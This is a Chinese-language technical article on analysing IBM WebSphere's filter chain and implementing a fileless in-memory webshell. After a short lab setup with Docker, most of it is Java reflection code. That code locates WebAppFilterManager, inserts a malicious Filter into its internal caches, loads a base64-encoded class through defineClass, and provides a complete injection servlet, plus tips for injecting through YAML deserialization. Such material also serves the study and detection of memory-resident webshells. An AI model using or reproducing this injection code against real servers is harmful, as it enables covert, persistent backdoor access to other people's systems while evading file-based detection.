WebSphere内存马分析
字数 1713 2025-08-25 22:58:46
WebSphere内存马分析与实现
环境部署
Docker环境搭建
docker pull ibmcom/websphere-traditional
docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional
docker exec -it websphere cat /tmp/PASSWORD
重要端口:
- 9043端口:控制台端口
- 9443端口:HTTPS端口
- 7777端口:其他服务端口
登录后台:https://ip:9043/ibm/console,使用账号wsadmin和/tmp/PASSWORD中的密码登录。
调试模式设置
- 进入WebSphere后台
- 设置WebSphere为Debug模式
- 绑定调试端口
基础组件分析
Filter和Servlet配置
示例web.xml配置:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>
Filter调用链分析
-
FilterInstanceWrapper:调用实际Filter的包装类
this._filterInstance是通过构造方法传入的参数获取的
-
WebAppFilterChain:通过
(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)实例化FilterInstanceWrapperthis._filters是new ArrayList()生成的
-
WebAppFilterChain.addFilter:添加Filter到调用链
- 方法中调用
this._filters.add(fiw),其中fiw为FilterInstanceWrapper类型
- 方法中调用
-
WebAppFilterManager.getFilterChain():生成Filter调用链
- 关键代码:
newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i))) filterNames来自this.getFilterChainContentsfcc(FilterChainContents)来自WebAppFilterManager对象中的chainCache变量
- 关键代码:
内存马实现思路
核心步骤
- 获取
WebAppFilterManager对象 - 实例化恶意Filter相关的
FilterChainContents,添加到WebAppFilterManager.chainCache - 实例化恶意Filter相关的
FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers
详细实现
1. 获取WebAppFilterManager对象
private static WebAppImpl context;
private static synchronized void GetWebContent() throws Exception {
try {
Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(), "wsThreadLocals");
for (int i = 0; i < wsThreadLocals.length; i++) {
if (wsThreadLocals[i] != null && wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState")) {
currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i], "currentThreadsIExtendedRequest");
}
}
ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
context = (WebAppImpl) GetField(servletContext, "context");
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized Object GetField(Object o, String k) throws Exception {
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try {
f = o.getClass().getSuperclass().getDeclaredField(k);
} catch (Exception e1) {
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
2. 实例化FilterChainContents并添加到chainCache
private static synchronized void InjectFilter() throws Exception {
try {
if (context != null) {
filterManager = (WebAppFilterManagerImpl) GetField(context, "filterManager");
chainCache = (Map<String, Object>) GetField(filterManager, "chainCache");
Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents")
.getDeclaredConstructor();
constructor.setAccessible(true);
Object filterChainContents = constructor.newInstance();
ArrayList _filterNames = (ArrayList) GetField(filterChainContents, "_filterNames");
_filterNames.add(filterName);
SetField(filterChainContents, "_hasFilters", true);
chainCache.put(url, filterChainContents);
// ... 后续代码
}
} catch (Exception e) {
e.printStackTrace();
}
}
3. 实例化FilterInstanceWrapper并添加到_filterWrappers
// 继续InjectFilter方法中的代码
_filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager, "_filterWrappers");
javax.servlet.Filter filter = (Filter) Thread.currentThread().getContextClassLoader()
.loadClass(filterClassName).newInstance();
WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager, "_evtSource");
ManagedObject filterMo = context.createManagedObject(filter);
FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName, filterMo, _evtSource);
SetField(filterInstanceWrapper, "_filterState", 2);
Object webAppConfig = GetField(filterManager, "webAppConfig");
FilterConfig filterConfig = new FilterConfig(filterName, (WebAppConfig) webAppConfig);
HashSet<DispatcherType> set = new HashSet();
set.add(DispatcherType.REQUEST);
filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, url);
SetField(filterInstanceWrapper, "_filterConfig", filterConfig);
_filterWrappers.put(filterName, filterInstanceWrapper);
SetField(filterManager, "_filtersDefined", true);
关键注意事项
-
类型转换问题:
- 实例化
FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型 - 早期版本WebSphere中是
Filter类型的参数
- 实例化
-
状态设置:
_filtersDefined需要设置为true,因为代码中有相关判断_filterState需要设置为2,因为代码中有_filterState==2的校验
-
动态加载Filter类:
private static synchronized void LoadFilter() throws Exception { try { Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); } catch (Exception e) { Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64"); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } }
常见问题解决
类型转换异常
在通过YAML反序列化注入内存马时,可能会出现(SRTServletRequest)强制类型转换异常。这是因为:
- 反序列化环境与Servlet环境不同
- 线程上下文可能没有正确初始化
解决方案:
- 确保在正确的线程上下文中执行
- 检查
wsThreadLocals数组内容 - 考虑使用其他注入方式,如直接在Servlet中实现
完整内存马示例
public class TestServlet extends HttpServlet {
private static String filterName = "HFilter";
private static String filterClassName = "com.sso.HFilter";
private static String url = "/ccc";
private static SRTServletRequest currentThreadsIExtendedRequest = null;
private static WebAppImpl context;
private static WebAppFilterManagerImpl filterManager = null;
private static Map<String, Object> chainCache = null;
private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
LoadFilter();
GetWebContent();
InjectFilter();
resp.getWriter().println("Memory Shell Injected");
} catch (Exception e) {
e.printStackTrace();
}
}
// 其他方法同上...
}
总结
WebSphere内存马实现的关键在于:
- 理解WebSphere的Filter调用链机制
- 正确获取和操作
WebAppFilterManager及其内部数据结构 - 处理WebSphere特有的
ManagedObject包装 - 确保所有必要的状态标志被正确设置
通过反射和动态类加载技术,可以在不修改磁盘文件的情况下,实现内存马的注入和持久化。